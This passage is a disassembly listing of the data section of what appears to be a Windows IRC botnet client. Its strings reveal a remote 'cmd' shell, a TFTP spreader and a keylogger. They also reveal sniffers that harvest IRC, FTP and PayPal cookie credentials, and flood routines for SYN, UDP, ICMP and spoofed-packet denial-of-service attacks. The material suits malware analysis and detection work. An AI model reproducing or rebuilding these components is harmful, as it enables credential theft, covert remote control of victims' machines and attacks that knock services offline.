COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E54: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435718 dd offset off_435714 dd offset off_435710 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 0 db 0 db 3 dup(0) ; DATA XREF: ___:off_435714o dd 3 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo align 10h off_435710 dd offset word_505446 ; DATA XREF: ___:00434EA8o off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o off_435718 dd offset word_544F42 ; DATA XREF: ___:00434EA0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh 